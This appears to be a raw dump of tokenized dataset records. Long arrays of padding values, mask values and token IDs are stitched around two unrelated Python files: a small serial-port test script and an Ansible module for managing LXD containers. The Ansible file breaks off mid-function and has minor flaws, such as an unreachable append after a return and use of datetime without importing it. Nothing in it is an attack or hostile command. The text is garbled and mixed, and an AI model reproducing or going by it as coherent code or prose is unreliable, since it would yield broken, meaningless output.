32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
karlp/frootloop
frootloop/froot.py
1
1487
# Blobtastical import threading import logging import serial import time class Port(object): def __init__(self, dev, baud, parity): if parity == 'e': p = serial.PARITY_EVEN if parity == 'n': p = serial.PARITY_NONE if parity == 'o': p = serial.PARITY_ODD self.baud = baud self.ser = serial.Serial(dev, baud, parity=p, timeout=0) class ReaderPort(Port): def __init__(self, dev, baud, parity): super(ReaderPort, self).__init__(dev, baud, parity) self.expected = None def expect(self, data): """ start a waiting thread that will expect to receive 'data' in a timely fashion :param data: the exact data that will be sent from the writer side. :return: """ self.expected = data logging.info("attempting to start a listening thread") self.t = threading.Thread(target=self.run) self.t.start() def run(self): rtt = len(self.expected) / self.baud if rtt < 1: rtt = 1 logging.info("going to wait for %f secs", rtt) start = time.time() while time.time() - start < rtt: x = self.ser.read() logging.info("so far: %s", x) time.sleep(0.1) def join(self): self.t.join() class WriterPort(Port): def write(self, data): self.ser.write(data) logging.info("finished writing data to writerport")
bsd-3-clause
[ 3, 31745, 502, 270, 2652, 199, 199, 646, 5796, 199, 646, 2050, 199, 646, 3012, 199, 646, 900, 199, 199, 533, 10977, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 4866, 12, 19325, 1181, 12, 623, 1209, 304, 267, 340, 623, 1209, 508, 283, 69, 356, 288, 299, 275, 3012, 14, 4014, 1922, 63, 37, 8253, 267, 340, 623, 1209, 508, 283, 78, 356, 288, 299, 275, 3012, 14, 4014, 1922, 63, 9185, 267, 340, 623, 1209, 508, 283, 79, 356, 288, 299, 275, 3012, 14, 4014, 1922, 63, 47, 5745, 267, 291, 14, 2470, 1181, 275, 19325, 1181, 267, 291, 14, 332, 275, 3012, 14, 3571, 8, 2374, 12, 19325, 1181, 12, 623, 1209, 29, 80, 12, 2653, 29, 16, 9, 421, 199, 533, 23099, 4313, 8, 4313, 304, 272, 347, 636, 826, 721, 277, 12, 4866, 12, 19325, 1181, 12, 623, 1209, 304, 267, 1613, 8, 5929, 4313, 12, 291, 2843, 826, 721, 2374, 12, 19325, 1181, 12, 623, 1209, 9, 267, 291, 14, 2062, 275, 488, 339, 347, 4282, 8, 277, 12, 666, 304, 267, 408, 267, 1343, 282, 10923, 2462, 626, 911, 4282, 370, 9128, 283, 576, 7, 315, 282, 900, 590, 32285, 267, 520, 635, 666, 26, 314, 5835, 666, 626, 911, 506, 4847, 687, 314, 7060, 5366, 14, 267, 520, 1107, 26, 267, 408, 267, 291, 14, 2062, 275, 666, 267, 2050, 14, 815, 480, 8739, 1337, 370, 1343, 282, 22721, 2462, 531, 267, 291, 14, 84, 275, 5796, 14, 4436, 8, 1375, 29, 277, 14, 1065, 9, 267, 291, 14, 84, 14, 928, 342, 339, 347, 1255, 8, 277, 304, 267, 519, 6215, 275, 822, 8, 277, 14, 2062, 9, 1182, 291, 14, 2470, 1181, 267, 340, 519, 6215, 665, 413, 26, 288, 519, 6215, 275, 413, 267, 2050, 14, 815, 480, 10947, 370, 3618, 367, 450, 70, 20091, 401, 519, 6215, 9, 267, 1343, 275, 900, 14, 521, 342, 267, 1830, 900, 14, 521, 342, 446, 1343, 665, 519, 6215, 26, 288, 671, 275, 291, 14, 332, 14, 739, 342, 288, 2050, 14, 815, 480, 1152, 12474, 26, 450, 83, 401, 671, 9, 288, 900, 14, 4532, 8, 16, 14, 17, 9, 339, 347, 4263, 8, 277, 304, 267, 291, 14, 84, 14, 904, 342, 199, 199, 533, 24441, 4313, 8, 4313, 304, 272, 347, 2218, 8, 277, 12, 666, 304, 267, 291, 14, 332, 14, 952, 8, 576, 9, 267, 2050, 14, 815, 480, 8669, 3575, 666, 370, 7060, 719, 531, 6905, 4388, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 31745, 502, 270, 2652, 199, 199, 646, 5796, 199, 646, 2050, 199, 646, 3012, 199, 646, 900, 199, 199, 533, 10977, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 4866, 12, 19325, 1181, 12, 623, 1209, 304, 267, 340, 623, 1209, 508, 283, 69, 356, 288, 299, 275, 3012, 14, 4014, 1922, 63, 37, 8253, 267, 340, 623, 1209, 508, 283, 78, 356, 288, 299, 275, 3012, 14, 4014, 1922, 63, 9185, 267, 340, 623, 1209, 508, 283, 79, 356, 288, 299, 275, 3012, 14, 4014, 1922, 63, 47, 5745, 267, 291, 14, 2470, 1181, 275, 19325, 1181, 267, 291, 14, 332, 275, 3012, 14, 3571, 8, 2374, 12, 19325, 1181, 12, 623, 1209, 29, 80, 12, 2653, 29, 16, 9, 421, 199, 533, 23099, 4313, 8, 4313, 304, 272, 347, 636, 826, 721, 277, 12, 4866, 12, 19325, 1181, 12, 623, 1209, 304, 267, 1613, 8, 5929, 4313, 12, 291, 2843, 826, 721, 2374, 12, 19325, 1181, 12, 623, 1209, 9, 267, 291, 14, 2062, 275, 488, 339, 347, 4282, 8, 277, 12, 666, 304, 267, 408, 267, 1343, 282, 10923, 2462, 626, 911, 4282, 370, 9128, 283, 576, 7, 315, 282, 900, 590, 32285, 267, 520, 635, 666, 26, 314, 5835, 666, 626, 911, 506, 4847, 687, 314, 7060, 5366, 14, 267, 520, 1107, 26, 267, 408, 267, 291, 14, 2062, 275, 666, 267, 2050, 14, 815, 480, 8739, 1337, 370, 1343, 282, 22721, 2462, 531, 267, 291, 14, 84, 275, 5796, 14, 4436, 8, 1375, 29, 277, 14, 1065, 9, 267, 291, 14, 84, 14, 928, 342, 339, 347, 1255, 8, 277, 304, 267, 519, 6215, 275, 822, 8, 277, 14, 2062, 9, 1182, 291, 14, 2470, 1181, 267, 340, 519, 6215, 665, 413, 26, 288, 519, 6215, 275, 413, 267, 2050, 14, 815, 480, 10947, 370, 3618, 367, 450, 70, 20091, 401, 519, 6215, 9, 267, 1343, 275, 900, 14, 521, 342, 267, 1830, 900, 14, 521, 342, 446, 1343, 665, 519, 6215, 26, 288, 671, 275, 291, 14, 332, 14, 739, 342, 288, 2050, 14, 815, 480, 1152, 12474, 26, 450, 83, 401, 671, 9, 288, 900, 14, 4532, 8, 16, 14, 17, 9, 339, 347, 4263, 8, 277, 304, 267, 291, 14, 84, 14, 904, 342, 199, 199, 533, 24441, 4313, 8, 4313, 304, 272, 347, 2218, 8, 277, 12, 666, 304, 267, 291, 14, 332, 14, 952, 8, 576, 9, 267, 2050, 14, 815, 480, 8669, 3575, 666, 370, 7060, 719, 531, 6905, 4388, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
timothyclarke/ansible-modules-extras
cloud/lxd/lxd_container.py
8
21285
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2016, Hiroaki Nakamura <hnakamur@gmail.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. DOCUMENTATION = ''' --- module: lxd_container short_description: Manage LXD Containers version_added: 2.2.0 description: - Management of LXD containers author: "Hiroaki Nakamura (@hnakamur)" options: name: description: - Name of a container. required: true architecture: description: - The archiecture for the container (e.g. "x86_64" or "i686"). See U(https://github.com/lxc/lxd/blob/master/doc/rest-api.md#post-1) required: false config: description: - 'The config for the container (e.g. {"limits.cpu": "2"}). See U(https://github.com/lxc/lxd/blob/master/doc/rest-api.md#post-1)' - If the container already exists and its "config" value in metadata obtained from GET /1.0/containers/<name> U(https://github.com/lxc/lxd/blob/master/doc/rest-api.md#10containersname) are different, they this module tries to apply the configurations. - The key starts with 'volatile.' are ignored for this comparison. - Not all config values are supported to apply the existing container. Maybe you need to delete and recreate a container. required: false devices: description: - 'The devices for the container (e.g. { "rootfs": { "path": "/dev/kvm", "type": "unix-char" }). See U(https://github.com/lxc/lxd/blob/master/doc/rest-api.md#post-1)' required: false ephemeral: description: - Whether or not the container is ephemeral (e.g. true or false). See U(https://github.com/lxc/lxd/blob/master/doc/rest-api.md#post-1) required: false source: description: - 'The source for the container (e.g. { "type": "image", "mode": "pull", "server": "https://images.linuxcontainers.org", "protocol": "lxd", "alias": "ubuntu/xenial/amd64" }). See U(https://github.com/lxc/lxd/blob/master/doc/rest-api.md#post-1)' required: false state: choices: - started - stopped - restarted - absent - frozen description: - Define the state of a container. required: false default: started timeout: description: - A timeout for changing the state of the container. - This is also used as a timeout for waiting until IPv4 addresses are set to the all network interfaces in the container after starting or restarting. required: false default: 30 wait_for_ipv4_addresses: description: - If this is true, the M(lxd_container) waits until IPv4 addresses are set to the all network interfaces in the container after starting or restarting. required: false default: false force_stop: description: - If this is true, the M(lxd_container) forces to stop the container when it stops or restarts the container. required: false default: false url: description: - The unix domain socket path or the https URL for the LXD server. required: false default: unix:/var/lib/lxd/unix.socket key_file: description: - The client certificate key file path. required: false default: '"{}/.config/lxc/client.key" .format(os.environ["HOME"])' cert_file: description: - The client certificate file path. required: false default: '"{}/.config/lxc/client.crt" .format(os.environ["HOME"])' trust_password: description: - The client trusted password. - You need to set this password on the LXD server before running this module using the following command. lxc config set core.trust_password <some random password> See U(https://www.stgraber.org/2016/04/18/lxd-api-direct-interaction/) - If trust_password is set, this module send a request for authentication before sending any requests. required: false notes: - Containers must have a unique name. If you attempt to create a container with a name that already existed in the users namespace the module will simply return as "unchanged". - There are two ways to can run commands in containers, using the command module or using the ansible lxd connection plugin bundled in Ansible >= 2.1, the later requires python to be installed in the container which can be done with the command module. - You can copy a file from the host to the container with the Ansible M(copy) and M(templater) module and the `lxd` connection plugin. See the example below. - You can copy a file in the creatd container to the localhost with `command=lxc file pull container_name/dir/filename filename`. See the first example below. ''' EXAMPLES = ''' # An example for creating a Ubuntu container and install python - hosts: localhost connection: local tasks: - name: Create a started container lxd_container: name: mycontainer state: started source: type: image mode: pull server: https://images.linuxcontainers.org protocol: lxd alias: ubuntu/xenial/amd64 profiles: ["default"] wait_for_ipv4_addresses: true timeout: 600 - name: check python is installed in container delegate_to: mycontainer raw: dpkg -s python register: python_install_check failed_when: python_install_check.rc not in [0, 1] changed_when: false - name: install python in container delegate_to: mycontainer raw: apt-get install -y python when: python_install_check.rc == 1 # An example for deleting a container - hosts: localhost connection: local tasks: - name: Restart a container lxd_container: name: mycontainer state: restarted # An example for restarting a container - hosts: localhost connection: local tasks: - name: Restart a container lxd_container: name: mycontainer state: restarted # An example for restarting a container using https to connect to the LXD server - hosts: localhost connection: local tasks: - name: Restart a container lxd_container: url: https://127.0.0.1:8443 # These cert_file and key_file values are equal to the default values. #cert_file: "{{ lookup('env', 'HOME') }}/.config/lxc/client.crt" #key_file: "{{ lookup('env', 'HOME') }}/.config/lxc/client.key" trust_password: mypassword name: mycontainer state: restarted # Note your container must be in the inventory for the below example. # # [containers] # mycontainer ansible_connection=lxd # - hosts: - mycontainer tasks: - name: copy /etc/hosts in the created container to localhost with name "mycontainer-hosts" fetch: src: /etc/hosts dest: /tmp/mycontainer-hosts flat: true ''' RETURN=''' addresses: description: Mapping from the network device name to a list of IPv4 addresses in the container returned: when state is started or restarted type: object sample: {"eth0": ["10.155.92.191"]} old_state: description: The old state of the container returned: when state is started or restarted type: string sample: "stopped" logs: description: The logs of requests and responses. returned: when ansible-playbook is invoked with -vvvv. type: list sample: "(too long to be placed here)" actions: description: List of actions performed for the container. returned: success type: list sample: '["create", "start"]' ''' import os from ansible.modules.extras.cloud.lxd import LXDClient, LXDClientException # LXD_ANSIBLE_STATES is a map of states that contain values of methods used # when a particular state is evoked. LXD_ANSIBLE_STATES = { 'started': '_started', 'stopped': '_stopped', 'restarted': '_restarted', 'absent': '_destroyed', 'frozen': '_frozen' } # ANSIBLE_LXD_STATES is a map of states of lxd containers to the Ansible # lxc_container module state parameter value. ANSIBLE_LXD_STATES = { 'Running': 'started', 'Stopped': 'stopped', 'Frozen': 'frozen', } # CONFIG_PARAMS is a list of config attribute names. CONFIG_PARAMS = [ 'architecture', 'config', 'devices', 'ephemeral', 'profiles', 'source' ] try: callable(all) except NameError: # For python <2.5 # This definition is copied from https://docs.python.org/2/library/functions.html#all def all(iterable): for element in iterable: if not element: return False return True class LXDContainerManagement(object): def __init__(self, module): """Management of LXC containers via Ansible. :param module: Processed Ansible Module. :type module: ``object`` """ self.module = module self.name = self.module.params['name'] self._build_config() self.state = self.module.params['state'] self.timeout = self.module.params['timeout'] self.wait_for_ipv4_addresses = self.module.params['wait_for_ipv4_addresses'] self.force_stop = self.module.params['force_stop'] self.addresses = None self.url = self.module.params['url'] self.key_file = self.module.params.get('key_file', None) self.cert_file = self.module.params.get('cert_file', None) self.debug = self.module._verbosity >= 4 try: self.client = LXDClient( self.url, key_file=self.key_file, cert_file=self.cert_file, debug=self.debug ) except LXDClientException as e: self.module.fail_json(msg=e.msg) self.trust_password = self.module.params.get('trust_password', None) self.actions = [] def _build_config(self): self.config = {} for attr in CONFIG_PARAMS: param_val = self.module.params.get(attr, None) if param_val is not None: self.config[attr] = param_val def _get_container_json(self): return self.client.do( 'GET', '/1.0/containers/{0}'.format(self.name), ok_error_codes=[404] ) def _get_container_state_json(self): return self.client.do( 'GET', '/1.0/containers/{0}/state'.format(self.name), ok_error_codes=[404] ) @staticmethod def _container_json_to_module_state(resp_json): if resp_json['type'] == 'error': return 'absent' return ANSIBLE_LXD_STATES[resp_json['metadata']['status']] def _change_state(self, action, force_stop=False): body_json={'action': action, 'timeout': self.timeout} if force_stop: body_json['force'] = True return self.client.do('PUT', '/1.0/containers/{0}/state'.format(self.name), body_json=body_json) def _create_container(self): config = self.config.copy() config['name'] = self.name self.client.do('POST', '/1.0/containers', config) self.actions.append('create') def _start_container(self): self._change_state('start') self.actions.append('start') def _stop_container(self): self._change_state('stop', self.force_stop) self.actions.append('stop') def _restart_container(self): self._change_state('restart', self.force_stop) self.actions.append('restart') def _delete_container(self): return self.client.do('DELETE', '/1.0/containers/{0}'.format(self.name)) self.actions.append('delete') def _freeze_container(self): self._change_state('freeze') self.actions.append('freeze') def _unfreeze_container(self): self._change_state('unfreeze') self.actions.append('unfreez') def _container_ipv4_addresses(self, ignore_devices=['lo']): resp_json = self._get_container_state_json() network = resp_json['metadata']['network'] or {} network = dict((k, v) for k, v in network.items() if k not in ignore_devices) or {} addresses = dict((k, [a['address'] for a in v['addresses'] if a['family'] == 'inet']) for k, v in network.items()) or {} return addresses @staticmethod def _has_all_ipv4_addresses(addresses): return len(addresses) > 0 and all([len(v) > 0 for v in addresses.itervalues()]) def _get_addresses(self): try: due = datetime.datetime.now() + datetime.timedelta(seconds=self.timeout) while datetime.datetime.now() < due: time.sleep(1) addresses = self._container_ipv4_addresses() if 